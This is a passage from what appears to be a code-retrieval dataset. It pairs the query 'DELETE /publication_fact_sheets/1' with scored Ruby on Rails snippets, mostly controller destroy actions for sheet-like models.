"score": "0.51318985", "text": "def setup\n make_notification_owner\n load_superusers\n admin_sets.each do |as|\n @logger.debug \"Attempting to make admin set for #{as}\"\n make_admin_set_from_config(as)\n end\n load_workflows\n everyone_can_deposit_everywhere\n give_superusers_superpowers\n end", "title": "" }, { "docid": "f2ac709e70364fce188bb24e414340ea", "score": "0.5115387", "text": "def setup_defaults\n add_help\n @handler = Cliqr::Util.forward_to_help_handler if @handler.nil? && help? && actions?\n @actions.each(&:setup_defaults)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.5111866", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110294", "text": "def action\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110294", "text": "def action\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110294", "text": "def action\n end", "title": "" }, { "docid": "4c7a1503a86fb26f1e4b4111925949a2", "score": "0.5109771", "text": "def scaffold_setup_helper\n include ScaffoldingExtensions::Helper\n include ScaffoldingExtensions::MerbControllerHelper\n include ScaffoldingExtensions::PrototypeHelper\n include ScaffoldingExtensions::Controller\n include ScaffoldingExtensions::MerbController\n before :scaffold_check_nonidempotent_requests\n end", "title": "" }, { "docid": "63849e121dcfb8a1b963f040d0fe3c28", "score": "0.5107364", "text": "def perform_action(action, item)\n if action == :approve\n approve(item.fullid)\n elsif action == :remove\n remove(item.fullid)\n elsif action == :alert\n #perform_alert() check condition alert params and proceed\n else\n #something isn't cool, pass or error \n end\nend", "title": "" }, { "docid": "f04fd745d027fc758dac7a4ca6440871", "score": "0.5106081", "text": "def block_actions options ; end", "title": "" }, { "docid": "0d1c87e5cf08313c959963934383f5ae", "score": "0.51001656", "text": "def on_action(action)\n @action = action\n self\n end", "title": "" }, { "docid": "916d3c71d3a5db831a5910448835ad82", "score": "0.50964546", "text": "def do_action(action)\n case action\n when \"a\"\n @user_manager.create_user\n when \"b\"\n @user_manager.delete_user\n when \"c\"\n @user_manager.get_info\n when \"d\"\n @user_manager.list_all_users\n when \"quit\", \"exit\"\n bail\n end\n end", "title": "" }, { "docid": "076c761e1e84b581a65903c7c253aa62", "score": "0.5093199", "text": "def add_callbacks(base); end", "title": "" } ]
9bda9a7abd8944e2b3ebe134a761b3ef
DELETE /publication_fact_sheets/1 DELETE /publication_fact_sheets/1.json
[ { "docid": "fbc1ddf4b3965c0bf1fc94b8545551d1", "score": "0.7800506", "text": "def destroy\n @publication_fact_sheet.destroy\n respond_to do |format|\n format.html { redirect_to publication_fact_sheets_url, notice: 'Publication fact sheet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" } ]
[ { "docid": "e9e099c927eaa48a0d51f007d6763e5e", "score": "0.7796096", "text": "def destroy\n @fact_sheet.destroy\n respond_to do |format|\n format.html { redirect_to fact_sheets_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "633957abfd65f6af5bb365ab544d1306", "score": "0.7170327", "text": "def destroy\n @spreadsheet = @package.spreadsheets.find(params[:id])\n @spreadsheet.destroy\n render :json => true\n #respond_to do |format|\n # format.html { redirect_to @package }\n # format.json { head :no_content }\n #end\n end", "title": "" }, { "docid": "ad459cb6dcf51653ae44c0a163b9a090", "score": "0.7126115", "text": "def destroy\n @fact_sheet = @restaurant.fact_sheet\n @fact_sheet.destroy\nac\n respond_to do |format|\n format.html { redirect_to(restaurant_fact_sheets_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "2de02a99aca2e101afc833d96b3e5a34", "score": "0.70624554", "text": "def destroy\n @worksheet.destroy\n respond_to do |format|\n format.html { redirect_to worksheets_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f5b1b01685c1a2eea19e6cf19185f7c1", "score": "0.69852376", "text": "def destroy\n @sheet = Sheet.find(params[:id])\n @sheet.destroy\n\n respond_to do |format|\n format.html { redirect_to sheets_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f5b1b01685c1a2eea19e6cf19185f7c1", "score": "0.69852376", "text": "def destroy\n @sheet = Sheet.find(params[:id])\n @sheet.destroy\n\n respond_to do |format|\n format.html { redirect_to sheets_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "191b97854e11be2d5b56ff94a69d249d", "score": "0.69529545", "text": "def destroy\n @worksheet = Worksheet.find(params[:id])\n @worksheet.destroy\n\n respond_to do |format|\n format.html { redirect_to worksheets_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "8e18196c8878fd87b1c06f0df286e573", "score": "0.68985707", "text": "def destroy\n @judge_sheet = JudgeSheet.find(params[:id])\n @judge_sheet.destroy\n\n respond_to do |format|\n format.html { redirect_to judge_sheets_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "980f8bed3ae7dca581f2f8aa916d8bf2", "score": "0.6884832", "text": "def destroy\n @cheatsheet = Cheatsheet.find(params[:id])\n @cheatsheet.destroy\n\n respond_to do |format|\n format.html { redirect_to cheatsheets_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4e760f0881f349733b8d322233bcd854", "score": "0.6880668", "text": "def destroy\n authorize Spreadsheet\n @spreadsheet.physical_objects.destroy_all\n @spreadsheet.titles.destroy_all\n @spreadsheet.series.destroy_all\n @spreadsheet.created_users.destroy_all\n @spreadsheet.destroy\n\n respond_to do |format|\n format.html { redirect_to spreadsheets_url, notice: 'Spreadsheet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "42c75dbcb7284cdc6fa6fd40b78d2712", "score": "0.6861421", "text": "def destroy\n @data_sheet.destroy\n respond_to do |format|\n format.html { redirect_to data_sheets_url, notice: 'Data sheet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "fcdf7620d765bf8a987199baafc866fa", "score": "0.6845428", "text": "def destroy\n @fabric_information_sheet = FabricInformationSheet.find(params[:id])\n @fabric_information_sheet.destroy\n\n respond_to do |format|\n format.html { redirect_to fabric_information_sheets_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9629405547431af67e69aa3377569e48", "score": "0.677717", "text": "def destroy\n @training_sheet = @campaign.training_sheet(params[:id])\n @training_sheet.destroy\n respond_to do |format|\n format.html { redirect_to user_campaigns_path(@user, @campaign) }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5f7ad2f6dcae5fc500216eeb94ca2a46", "score": "0.67757964", "text": "def destroy\n @worksheet.destroy\n\n respond_to do |format|\n format.html { redirect_to(worksheets_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "05aedee559cb8463357f4377ca112c01", "score": "0.6755286", "text": "def destroy\n @worksheet.destroy\n respond_to do |format|\n format.html { redirect_to worksheets_url, notice: \"Worksheet was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "333ea64e0f038e3822920198a03beefe", "score": "0.6730796", "text": "def destroy\n @sheet.destroy\n respond_to do |format|\n format.html { redirect_to sheets_url, notice: 'Sheet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "333ea64e0f038e3822920198a03beefe", "score": "0.6730796", "text": "def destroy\n @sheet.destroy\n respond_to do |format|\n format.html { redirect_to sheets_url, notice: 'Sheet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "333ea64e0f038e3822920198a03beefe", "score": "0.6730796", "text": "def destroy\n @sheet.destroy\n respond_to do |format|\n format.html { redirect_to sheets_url, notice: 'Sheet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d7cba25c6314c04855c5681e3103ca86", "score": "0.67224246", "text": "def destroy\n @spreadsheet = Spreadsheet.find(params[:spreadsheet_id])\n @spreadsheet.update_attributes!(deleted_at: Time.now)\n json_response(@spreadsheet)\n end", "title": "" }, { "docid": "91fcbf6fe46306b601779e2c58980fdb", "score": "0.67207646", "text": "def destroy\n @google_sheet = GoogleSheet.find(params[:id])\n @google_sheet.destroy\n\n respond_to do |format|\n format.html { redirect_to(google_sheets_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "526e56e36e45a8fb3bfcbfbb5d8ac91a", "score": "0.6716184", "text": "def destroy\n @score_sheet = ScoreSheet.find(params[:id])\n @score_sheet.destroy\n\n respond_to do |format|\n format.html { redirect_to score_sheets_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9ac73a5ea10f9c46ce212ec7a3fd4b3d", "score": "0.6713086", "text": "def destroy\n @spreadsheet.destroy\n respond_to do |format|\n format.html { redirect_to spreadsheets_url, notice: 'Spreadsheet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0a34835f7c293f4e03ceb2b0983c19e4", "score": "0.67130816", "text": "def destroy\n @weeksheet = Weeksheet.find(params[:id])\n @weeksheet.destroy\n\n respond_to do |format|\n format.html { redirect_to weeksheets_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9b0206ddd538277ac5e4cd296b09cef4", "score": "0.6712277", "text": "def destroy\r\n @patient_flowsheet_row = PatientFlowsheetRow.find(params[:id])\r\n @patient_flowsheet_row.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to patient_flowsheet_rows_url }\r\n format.json { head :no_content }\r\n end\r\n end", "title": "" }, { "docid": "c40ab472675f3490e955292ec3c276e1", "score": "0.67102134", "text": "def destroy\n @user.spreadsheets.destroy @spreadsheet\n respond_to do |format|\n format.html { redirect_to user_spreadsheets_url, notice: t('.notice') }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a7f8feb1e4a468f9359352916bf1d80d", "score": "0.6702944", "text": "def destroy\n\n @sheetfile.activities.each do | activity |\n activity.destroy\n end\n @sheetfile.destroy\n\n respond_to do |format|\n format.html { redirect_to :back}\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d5085a088452421057492e6b16546306", "score": "0.6699289", "text": "def destroy\n @time_sheet.destroy\n\n respond_to do |format|\n format.html { redirect_to time_sheets_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "97064c935c34ae155595971030bac9ae", "score": "0.6683844", "text": "def destroy\n @answer_sheet.destroy\n respond_to do |format|\n format.html { redirect_to answer_sheets_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "8377ea6038ee07920e2e20d2cf38fbce", "score": "0.66787386", "text": "def destroy\n @time_sheet.destroy\n respond_to do |format|\n format.html { redirect_to time_sheets_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "74d73e5e5f7c0fa0804fc15804a9b395", "score": "0.66757506", "text": "def destroy\n @recording_sheet = RecordingSheet.find(params[:id])\n @recording_sheet.destroy\n\n respond_to do |format|\n format.html { redirect_to recording_sheets_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e4d95a44865bc8bf7bfbae87568cf15e", "score": "0.6673292", "text": "def destroy\n @data_sheet = DataSheet.find(params[:id])\n @data_sheet.destroy\n\n respond_to do |format|\n format.html { redirect_to(globe_profile_data_sheets_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "f9441e5a158f865a9b9a5a5f901899fe", "score": "0.6667637", "text": "def destroy\n @cheatsheet.destroy\n respond_to do |format|\n format.html { redirect_to cheatsheets_url, notice: 'Cheatsheet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "125043f09d90f8eef8de20b95ea128c3", "score": "0.6665226", "text": "def destroy\n @question_sheet = QuestionSheet.find(params[:id])\n @question_sheet.destroy\n \n respond_to do |format|\n format.html { redirect_to question_sheets_path }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "28a7e678962d155736e29f62c56a1588", "score": "0.6644273", "text": "def destroy\n @google_sheet_has_mapping.destroy\n respond_to do |format|\n format.html { redirect_to google_sheet_has_mappings_url, notice: 'Google sheet has mapping was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7e3493ab6fbda900c7f894760927e705", "score": "0.66378564", "text": "def destroy\n @par_sheet.destroy\n respond_to do |format|\n format.html { redirect_to par_sheets_url, notice: 'Par sheet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a392f01035a834afc6c49b79fb90e900", "score": "0.6634928", "text": "def destroy\n @sample_sheet = SampleSheet.find(params[:id])\n @sample_sheet.destroy\n respond_to do |format|\n format.html { redirect_to sample_sheets_path, notice: 'form successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5d9e74abaaa41165ac842e2430e63766", "score": "0.6633048", "text": "def destroy\n @google_sheet.destroy\n respond_to do |format|\n format.html { redirect_to google_sheets_url, notice: 'Google sheet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6e6b3518854d450d768fdbc654fb6837", "score": "0.66093785", "text": "def destroy\n respond_to do |format|\n begin\n @spreadsheet.destroy\n format.html { redirect_to construction_spreadsheets_url(@construction), notice: 'Spreadsheet was successfully destroyed.' }\n format.json { head :no_content }\n rescue => exception\n format.html { redirect_to construction_spreadsheets_url(@construction), notice: 'Spreadsheet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end\n end", "title": "" }, { "docid": "2de895ce613a629a019b4fc70f7c4c8c", "score": "0.6602482", "text": "def destroy\n @timesheet.sheetfiles.each do | sheetfile |\n sheetfile.activities.each do | activity |\n activity.destroy\n end\n\n sheetfile.destroy\n end\n\n @timesheet.destroy\n respond_to do |format|\n format.html { redirect_to :back}\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "451d9064bc7a2c86acb83ee241bc42e2", "score": "0.65961504", "text": "def destroy\n @sheet = Sheet.find(params[:id])\n sheet_name = @sheet.name\n @sheet.destroy\n respond_to do |format|\n format.html { redirect_to :back, notice: \"Sheet #{sheet_name} was deleted!\"}\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "95e12400764986bc964ead0c24c1876d", "score": "0.6595217", "text": "def destroy\n @updatesheet.destroy\n respond_to do |format|\n format.html { redirect_to updatesheets_url, notice: 'Updatesheet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "95e12400764986bc964ead0c24c1876d", "score": "0.6595217", "text": "def destroy\n @updatesheet.destroy\n respond_to do |format|\n format.html { redirect_to updatesheets_url, notice: 'Updatesheet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d1c980f7ef5706b9db6223b2f9fc0bdc", "score": "0.6584416", "text": "def destroy\n @time_sheet = TimeSheet.find(params[:id])\n @time_sheet.destroy\n\n respond_to do |format|\n format.html { redirect_to time_sheets_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a7771039e5a00a5d93c5dbcfda740271", "score": "0.65823716", "text": "def destroy\n @sheets_statement.destroy\n respond_to do |format|\n format.html { redirect_to sheets_statements_url, notice: 'Statement was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b76d9e56ffc5845a1e478fec94bfc733", "score": "0.65771013", "text": "def destroy\n @flow_sheet_record = FlowSheetRecord.find(params[:id])\n @flow_sheet_record.destroy\n\n respond_to do |format|\n format.html { redirect_to session[:return_to] }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "18dca9d79bf6454339f97ff1166196fe", "score": "0.65752584", "text": "def destroy\n puts 'about to destroy the price sheet'\n @wells_fargo_price_sheet.destroy\n respond_to do |format|\n format.html { redirect_to wells_fargo_price_sheets_url, notice: 'Wells Fargo price sheet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "af682884aaae0220779a426dfafad0d6", "score": "0.6565641", "text": "def destroy\n @sheetrow.destroy\n respond_to do |format|\n format.html { redirect_to sheetrows_url, notice: 'Sheetrow was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b0ff0e58b0606b0fe6aa62fbc2c29c3b", "score": "0.6538517", "text": "def destroy\n @routing_sheet_detail = RoutingSheetDetail.find(params[:id])\n @routing_sheet_detail.destroy\n\n respond_to do |format|\n format.html { redirect_to routing_sheet_details_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0a9d40f51c3ed86844050f123c7abded", "score": "0.653578", "text": "def destroy\n @sheet.destroy\n redirect_to root_url\n end", "title": "" }, { "docid": "b7f49969e838cd226339bfc0ef5b0122", "score": "0.6529272", "text": "def destroy\n @spreadsheet.pages.destroy @page\n respond_to do |format|\n format.html { redirect_to [@user, @spreadsheet], notice: t('.notice') }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b2b1b84ae0f6aba47392e7c686c75269", "score": "0.6521457", "text": "def destroy\n @spreadsheet_detail.destroy\n respond_to do |format|\n format.html { redirect_to spreadsheet_details_url, notice: 'Spreadsheet detail was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "43627776006f68ffc4ef8f4e2e24c02c", "score": "0.6511491", "text": "def destroy\n @datesheet.destroy\n respond_to do |format|\n format.html { redirect_to datesheets_url, notice: 'Datesheet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "fa429b21737eba737d8a1ba043453285", "score": "0.6509471", "text": "def destroy\n @hokensitu_usesheet.destroy\n respond_to do |format|\n format.html { redirect_to hokensitu_usesheets_url, notice: 'Hokensitu usesheet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "fee394ae29d4840786fb2645fad5b7a6", "score": "0.6501616", "text": "def destroy\n @timesheet = Timesheet.find(params[:id])\n @timesheet.destroy\n\n respond_to do |format|\n format.html { redirect_to timesheets_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "fee394ae29d4840786fb2645fad5b7a6", "score": "0.6501616", "text": "def destroy\n @timesheet = Timesheet.find(params[:id])\n @timesheet.destroy\n\n respond_to do |format|\n format.html { redirect_to timesheets_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "fcb042d9e0ec159827796687d9ca0016", "score": "0.64874375", "text": "def destroy\n @datasheet.destroy\n respond_to do |format|\n format.html { redirect_to datasheets_url, notice: 'Datasheet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "fcb042d9e0ec159827796687d9ca0016", "score": "0.64874375", "text": "def destroy\n @datasheet.destroy\n respond_to do |format|\n format.html { redirect_to datasheets_url, notice: 'Datasheet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "fcb042d9e0ec159827796687d9ca0016", "score": "0.64874375", "text": "def destroy\n @datasheet.destroy\n respond_to do |format|\n format.html { redirect_to datasheets_url, notice: 'Datasheet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3c30074b643f09f82a529abb49f706ca", "score": "0.64824724", "text": "def destroy\n @heatsheet.destroy\n respond_to do |format|\n format.html { redirect_to heatsheets_url, notice: 'Heatsheet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "15abf39ffe54f45cfc9ca328b8a022aa", "score": "0.64761925", "text": "def destroy\n @play_sheet.destroy\n respond_to do |format|\n format.html { redirect_to play_sheets_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5ebe109f68033f7b1ee40a9ec1e2db47", "score": "0.6472018", "text": "def destroy\n @spreadsheet.pages.destroy @page\n respond_to do |format|\n format.html { redirect_to user_spreadsheet_url(@user, @spreadsheet), notice: t('.notice') }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6b32fdf0f3adeb9244006a01af635de1", "score": "0.64712894", "text": "def destroy\n @scorecard_sheet.destroy\n respond_to do |format|\n format.html { redirect_to scorecard_sheets_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "db7144c72ed3ac237d7d4633a3e9be2f", "score": "0.6455034", "text": "def destroy\n @char3p5_sheet.destroy\n respond_to do |format|\n format.html { redirect_to char3p5_sheets_url, notice: 'Char3p5 sheet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6e155588b5ca767ae771cd4e684bce1e", "score": "0.6450672", "text": "def destroy\n @factsheet_folder.destroy\n respond_to do |format|\n format.html { redirect_to admin_factsheet_folders_url, notice: 'Factsheet folder was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a38d138d6d7aff6b302cd83686023eeb", "score": "0.6449463", "text": "def destroy\n @team_sheet.destroy\n respond_to do |format|\n format.html { redirect_to team_sheets_url, notice: 'Team sheet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "51fe18a01057340b2a3c8bd8753f7a12", "score": "0.64153963", "text": "def destroy\n @order_sheet.destroy\n respond_to do |format|\n format.html { redirect_to order_sheets_url, notice: 'Order sheet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f8464c2e99c80cc3a5571f78b4bccbc6", "score": "0.64100486", "text": "def destroy\n @plant_time_sheet.destroy\n respond_to do |format|\n format.html {redirect_to plant_time_sheets_url, notice: 'Plant time sheet was successfully destroyed.'}\n format.json {head :no_content}\n end\n end", "title": "" }, { "docid": "c5fc490ea09482bdafcf635bf7b1fc35", "score": "0.63883144", "text": "def destroy\n @spreadsheets_equipment.destroy\n respond_to do |format|\n format.html { redirect_to spreadsheets_equipments_url, notice: 'Spreadsheets equipment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "fc5e40f73a8e380da7870cba82c558b4", "score": "0.63869643", "text": "def destroy\r\n @user_datasheet.destroy\r\n respond_to do |format|\r\n format.html { redirect_to user_datasheets_url }\r\n format.json { head :no_content }\r\n end\r\n end", "title": "" }, { "docid": "ac6ce581a27e69d0fc21ae3d9c02ce26", "score": "0.6385986", "text": "def delete\n self.class.headers 'Authorization' => \"OAuth #{ENV['sfdc_token']}\"\n self.class.headers 'Content-Type' => \"application/json\"\n response = self.class.delete(SObject.root_url+\"/sobjects/#{@object_name}/#{@Id}\")\n raise response.parsed_response[0]['message'] if response.code.to_i > 299\n nil\n end", "title": "" }, { "docid": "62d4b94473f3cffcd582557401f93e48", "score": "0.63652015", "text": "def destroy\n @scafford = Scafford.find(params[:id])\n @scafford.destroy\n\n respond_to do |format|\n format.html { redirect_to scaffords_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e5cc6e3b6a42e877711d52e15eb8088c", "score": "0.63548124", "text": "def destroy\n @draft_timesheet.destroy\n respond_to do |format|\n format.html { redirect_to draft_timesheets_url, notice: 'Draft timesheet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "63407dd6f678c58db0dbd5ee29c86e5c", "score": "0.63525206", "text": "def destroy\n @sheet_route.destroy\n respond_to do |format|\n format.html { redirect_to sheet_routes_url, notice: 'Sheet route was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "acb1eaec9e9d12814206c9e9b17039e4", "score": "0.63439184", "text": "def destroy\n @trade_sheet.destroy\n respond_to do |format|\n format.html { redirect_to trade_sheets_url, notice: 'Trade sheet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a28a9e5bba9d8080403c5353ff083d36", "score": "0.6319852", "text": "def destroy\n @attendancesheet.destroy\n respond_to do |format|\n format.html { redirect_to attendancesheets_url, notice: 'Attendancesheet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c3cf64469d39d64bbc3af140497f160c", "score": "0.631399", "text": "def destroy\n @sheets_sub_statement.destroy\n respond_to do |format|\n format.html { redirect_to sheets_sub_statements_url, notice: 'Sub statement was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f05c1b82ebfa2c096efa78bca347a8ee", "score": "0.6310807", "text": "def destroy\n @fact.destroy\n head :no_content\n end", "title": "" }, { "docid": "d5751843e5a5b834480a025b9ff49b19", "score": "0.6310384", "text": "def destroy\n @annot_cell_set.destroy\n respond_to do |format|\n format.html { redirect_to annot_cell_sets_url, notice: 'Annot cell set was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3d2843bf20744fcf32b6000c28a9ece0", "score": "0.6306868", "text": "def destroy\n @spread = Spread.find(params[:id])\n @spread.destroy\n\n respond_to do |format|\n format.html { redirect_to spreads_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d976d79f59f82283d44bd0396ba6b279", "score": "0.6306551", "text": "def destroy\n @trackingsheet.destroy\n respond_to do |format|\n format.html { redirect_to trackingsheets_url, notice: 'Trackingsheet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "349d1903bf86f395624e90e54c400e10", "score": "0.62916064", "text": "def destroy\n @timesheet.destroy\n respond_to do |format|\n format.html { redirect_to root_path, notice: 'Timesheet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "74bfac1b46a1832d8a2dcb97a10764f9", "score": "0.62881166", "text": "def destroy\n @coversheet.destroy\n respond_to do |format|\n format.html { redirect_to coversheets_url, notice: 'Coversheet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3ac69b1991623e6e0b64d8350c88004b", "score": "0.62878275", "text": "def destroy\n @attendance_sheet.destroy\n respond_to do |format|\n format.html { redirect_to attendance_sheets_url, notice: 'Topar Gatnaşygy Üstünlikli Bozuldy.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4b708bb1cf08224024690a895c64ad38", "score": "0.62867105", "text": "def destroy(id)\n self.class.delete(worksheet_url + \"/\" + id).parsed_response\n end", "title": "" }, { "docid": "943d18c026098537e9f70a9eda146fe2", "score": "0.6283118", "text": "def delete_spreadsheet(id)\n @simple_client.files_delete(id)\n end", "title": "" }, { "docid": "39c5e184a414425f8dff06423872e885", "score": "0.6280654", "text": "def destroy\n @timesheet.destroy\n respond_to do |format|\n format.html { redirect_to timesheets_url, notice: 'Timesheet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "39c5e184a414425f8dff06423872e885", "score": "0.6280654", "text": "def destroy\n @timesheet.destroy\n respond_to do |format|\n format.html { redirect_to timesheets_url, notice: 'Timesheet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "39c5e184a414425f8dff06423872e885", "score": "0.6280654", "text": "def destroy\n @timesheet.destroy\n respond_to do |format|\n format.html { redirect_to timesheets_url, notice: 'Timesheet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ec5daff457f79c741501e9c5bf4ce2e1", "score": "0.6278646", "text": "def destroy\n @paysheet.destroy\n respond_to do |format|\n format.html { redirect_to paysheets_url, notice: 'Paysheet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "27979dbf405021b56184a07ab6419318", "score": "0.6274431", "text": "def destroy\n @time_sheet = @user.time_sheets.find(params[:id])\n @time_sheet.destroy\n\n respond_to do |format|\n format.html { redirect_to user_time_sheets_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5b17c99a702e09c6d127c944cc8802f2", "score": "0.6272759", "text": "def destroy\n\n @timesheet.destroy\n respond_to do |format|\n format.html { redirect_to admin_timesheets_path, notice: 'Timesheet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5b17c99a702e09c6d127c944cc8802f2", "score": "0.6272759", "text": "def destroy\n\n @timesheet.destroy\n respond_to do |format|\n format.html { redirect_to admin_timesheets_path, notice: 'Timesheet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "41b4397e0f9fe8bd6c38f9d91e13cfb7", "score": "0.62633425", "text": "def destroy\n @sheet.destroy\n track('Delete sheet', sheet_id: @sheet.id, sheet_title: @sheet.title)\n redirect_to user_trash_url, notice: SUCCESS_DESTROY_SHEET_MESSAGE\n end", "title": "" }, { "docid": "83df2aa82ac6d238642e2e55af4a86b9", "score": "0.6258876", "text": "def destroy\n @lcb_account_sheet.destroy\n respond_to do |format|\n format.html { redirect_to lcb_account_sheets_url, notice: 'Lcb account sheet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "8827b17f78cfd6820f9ca2f722aca8db", "score": "0.62558967", "text": "def destroy\n @ordersheet.destroy\n respond_to do |format|\n format.html { redirect_to ordersheets_url, notice: 'Ordersheet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1b54e855d62d2356c303260820e1a55f", "score": "0.625411", "text": "def destroy\n @cash_doc = CashDoc.find(params[:id])\n @cash_doc.destroy\n\n respond_to do |format|\n format.html { redirect_to cash_docs_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1efe762adc9e169d00e772cc64c87f79", "score": "0.6253235", "text": "def destroy\n @time_sheet_entry = TimeSheetEntry.find(params[:id])\n @time_sheet_entry.destroy\n\n respond_to do |format|\n format.html { redirect_to time_sheet_entries_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f13feb6693f8d9f086304d53608746d9", "score": "0.6235359", "text": "def destroy\n @document_visualization.destroy\n respond_to do |format|\n format.html { redirect_to document_visualizations_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c88eb9769c607b9af012148c5f185372", "score": "0.6234084", "text": "def destroy\n @time_sheet = TimeSheet.find(params[:id])\n @time_sheet.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_time_sheets_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": 